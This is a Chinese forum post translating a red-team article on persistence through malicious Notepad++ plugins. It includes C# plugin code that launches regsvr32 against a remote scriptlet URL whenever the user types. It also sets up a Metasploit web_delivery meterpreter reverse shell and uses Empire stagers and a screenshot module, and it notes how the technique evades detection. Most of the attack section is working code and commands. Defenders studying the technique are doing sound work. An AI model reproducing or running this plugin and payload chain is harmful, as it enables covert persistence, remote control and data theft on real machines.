首页
社区
课程
招聘
[翻译]持久化技术——Notepad++ 插件
发表于: 2022-3-25 15:35 1055

[翻译]持久化技术——Notepad++ 插件

2022-3-25 15:35
1055

备注

原文标题:Persistence – Notepad++ Plugins

原文地址: 918K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3&6@1k6i4y4@1L8r3q4T1i4K6u0W2j5X3I4G2k6#2)9J5c8U0t1H3x3U0u0Q4x3V1j5H3x3W2)9J5c8U0p5@1i4K6u0r3M7r3g2J5M7$3W2K6N6r3g2F1j5$3g2Q4x3X3c8F1L8%4c8W2M7r3q4V1i4K6u0V1M7r3I4#2k6$3W2F1M7#2)9J5c8R3`.`.

翻译人员:梦幻的彼岸

注意信息:安全起见,可根据文章内容参考排查

正文

windows环境,尤其是由开发人员或It人员管理的专用服务器,安装了Notepad++文本编辑器,这种情况并不少见。除了可以为红队操作人员提供重要信息的脚本和管理员命令的存储之外,它还可以作为一种持久性机制,通过加载任意插件,从远程位置执行命令或脚本。

 Daniel Duggan在一篇文章中强调了通过Notepad++插件实现持久性的想法.插件可以用来扩展Notepad++的功能。默认情况下,用户可以在Notepad++中下载已批准的插件列表,但也允许自定义插件,无需任何验证,从而为开发人员扩展文本编辑器的使用提供了灵活性。插件以DLL文件的形式存储在以下路径中:

%PROGRAMFILES%\Notepad++\plugins

需要注意的是,为了加载插件,文件夹和DLL需要有相同的名称。 对于红队操作人员来说,不需要从头开始编写恶意插件,因为Notepad++插件包可以用作模板。当特定事件发生时,可以使用各种API执行任意操作。当在notepad++中键入字符时,SCI_ADDTEXT API将触发一个自定义命令。在下面的示例中,插入字符时会出现一个消息框。

class Main
{
    static bool ExecuteOnce = true;
 
    public static void OnNotification(ScNotification notification)
    {
        if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && ExecuteOnce)
        {
            MessageBox.Show("Persistence via Notepad++ - Visit 6dcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3&6@1k6i4y4@1L8r3q4T1i4K6u0W2j5X3I4G2k6#2)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3U0W2Q4x3@1t1`.
 
            ExecuteOnce = !ExecuteOnce;
        }
    }

编译代码将生成DLL文件。这种技术可以在提升用户(如管理员)的环境下使用,因为将插件放入“程序文件”的相关子文件夹需要写入权限。

dir "C:\Program Files\Notepad++\plugins\pentestlab"

下次启动Notepad++并键入字符时,将出现消息框,表明代码已成功执行。


无文件的payload也可以被执行,以建立一个通信渠道。一种非常流行的技术是利用regsvr32窗口二进制文件,以便从远程位置执行一个小脚本。Metasploit框架通过网络传递模块支持这种技术。执行下面的命令将启动一个服务器,payload将被托管。

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.3
set LPORT 4444
run

代码可以稍作修改,以执行带有所需参数的regsvr32。

class Main
    {
static bool firstRun = true;
 
        public static void OnNotification(ScNotification notification)
        {
            if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun)
            {
                string strCmdText;
                strCmdText = "/s /n /u /i:d9bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3q4)9J5k6e0m8Q4x3X3f1K6i4K6y4m8z5o6l9^5x3q4)9J5c8X3&6t1d9h3y4$3k6Y4Z5$3e0W2)9J5k6i4y4U0N6q4)9J5y4X3&6T1M7%4m8Q4x3@1u0K6j5%4u0G2j5X3A6Q4x3X3g2V1L8r3I4Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6y4n7
                Process.Start("regsvr32", strCmdText);
                firstRun = !firstRun;
                }
            }

同样,与最初的例子一样,当在Notepad++中输入一个新字符时,将触发事件,执行命令。


一个Meterpreter会话将打开,并建立一个通信通道。


执行以下命令将启动与目标主机的交互,并检索父工作目录以及哪个用户触发了payload。

sessions
sessions -i 1 
pwd 
getuid

Empire

以类似的方式,Empire C2可用于生成各种stager文件。这些文件通常包含可以在PowerShell进程中执行的base64命令。以下阶段已被用作示例:

usestager windows/launcher_sct

stager应该指向已经在Empire中运行的侦听器,execute命令将文件写入“generated stager”文件夹。

set Listener http 
execute

stager应该指向已经在Empire中运行的侦听器,execute命令将文件写入“generated stager”文件夹。

该文件可以放入系统中,并通过regsvr32执行。或者,该命令可以在插件内部使用,以避免编写代码。将.sct文件放入磁盘。



一旦命令被触发,一个新的agent将出现在Empire。

agents

其他Empire模块可用于执行进一步的活动,如拍摄主机的屏幕截图。Notepad++中包含用户名、连接字符串或URL等信息的情况并不少见,这些信息可以通过这种方法提取并在攻击性操作中使用。

usemodule powershell/collection/screenshot 
set Agent notepad 
execute


应该注意的是,创建一个进程并不被认为是opsec安全的方法。然而,通过修改代码,红队操作人员可以使用其他过程注入技术,使他们能够保持低调。该技术的一个缺点是,需要用户键入一个字符,因此可能无法持续接收信标。然而,从积极的一面来看,它并不被认为是一种常见的持久性技术,甚至在成熟的环境中也可能规避检测。




[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回